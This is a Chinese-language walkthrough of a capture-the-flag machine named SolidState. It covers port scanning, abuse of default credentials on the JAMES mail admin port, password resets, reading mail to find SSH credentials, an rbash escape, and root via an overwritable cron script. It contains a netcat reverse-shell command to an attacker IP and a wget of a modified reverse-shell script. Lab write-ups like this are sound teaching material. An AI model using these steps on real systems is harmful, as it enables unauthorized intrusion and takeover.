SolidState Walkthrough
SolidState Walkthrough
box info
The Hack
对目标主机进行端口发现
sudo nmap -p- 172.16.33.35 |
对开放的端口进行应用版本发现
sudo nmap -p22,25,80,110,119,4555 -A 172.16.33.35 |
发现 ssh 服务(22),SMTP、pop3 邮箱服务(25、110),http 服务(80),nntp 网络新闻传输服务(119),以及高位端口 4555 。
SMTP 用于电子邮件的发送(服务器到服务器或客户端到服务器)。它是标准的邮件传输端口,通常不加密,但可通过STARTTLS升级加密
POP3 用于从邮件服务器下载邮件到本地客户端 。默认不加密
先从 80 端口 HTTP 服务开始,直接访问页面,发现聊天框,但是 action 的值为 # ,未能与客户端、服务端产生交互,是一个 花瓶
但是发现邮箱以及 IP 对应的域名,尝试用域名访问:
用 IP 和域名访问的结果可能会大不相同
sudo vi /etc/hosts |
添加如下内容:
172.16.33.35 solid-state-security.com |
回显相同,猜测失败
查看源码,为静态页面。源码中的链接下面都能通过 dirsearch 枚举出来
尝试 dirsearch 扫一扫:
dirsearch -u http://172.16.33.35/ |
扫描出来的左右内容都没什么有价值的内容
gobuster:
gobuster dir -u http://172.16.33.35/ -w /usr/share/seclists/Discovery/Web-Content/common.txt |
emm… 啥啥都没有
80 端口的 http 页面似乎没有漏洞,那就看看运行的 JAMES 2.3.2 有无漏洞
能搜到有 RCE 漏洞,看看能不能直接利用:
大致意思是创建名为 ../../../../../../../../etc/bash_completion.d
的用户并将 payload 作为邮件内容发送给他
只要别的用户登录这台主机,就会自动加载、执行 /etc/bash_completion.d 中的文件
但是即使成功写入,本台靶机也没有后台进程登录这台主机,执行不了写入的 webshell ,
再来看 4555 端口,使用默认账密 root/root ,尝试用 telnet 连接:
telnet 172.16.33.35 4555 |
或者用 nc :
nc -nv -C 172.16.33.35 110
成功:
查看存在的用户:
listusers |
使用 setpassword 将所有存在用户密码设置为 12345
setpassword james 12345 |
查看邮件内容,在 pop3 服务上分别查看存在用户的邮件是否存在以及是否泄露隐藏信息
telnet 172.16.33.35 110 |
查看 james ,没有
USER james |
查看 thomas ,没有
USER thomas |
查看 john ,发现有一个邮件:
USER john |
查看文件内容,似乎说明了 mindy 的邮件泄露了他账号的密码
查看 mindy ,发现有两篇邮件:
USER mindy |
第一篇在祝贺她被录用
第二篇找到她的 ssh 账户和密码:
再看看 mailadmin ,没有
USER mailadmin |
已知 mindy 账号和密码,使用 ssh 登陆:
ssh mindy@172.16.33.35 |
获得 user.txt :
cat user.txt |
输入一些命令时能看到回显的 rbash 标志,需要 rbash 逃逸
尝试 ssh 登录时逃逸:
ssh mindy@172.16.33.35 -t "bash --noprofile" |
再次输入 sudo -l ,逃逸成功:
或者使用 netexec 逃逸 rbash ,同时开启监听
netexec ssh 172.16.33.35 -u mindy -p 'P@55W0rd1!2@' -x 'nc 10.8.0.71 1234 -e /bin/bash'
在 Interesting writable files 中,我们会看到 /opt/tmp.py 文件可以由我们写入并且具有 root 权限。
所有人能修改,所有人为 root
该终端功能不完整,不能进行交互式编辑
#!/usr/bin/env python |
将内容保存至本地,增加反弹 shell 语句
上传至目标主机并用 cp 覆盖原本靶机:
wget http://10.8.0.71:8888/tmp.py |
最多等待 5 分钟 getshell 并取得 root.txt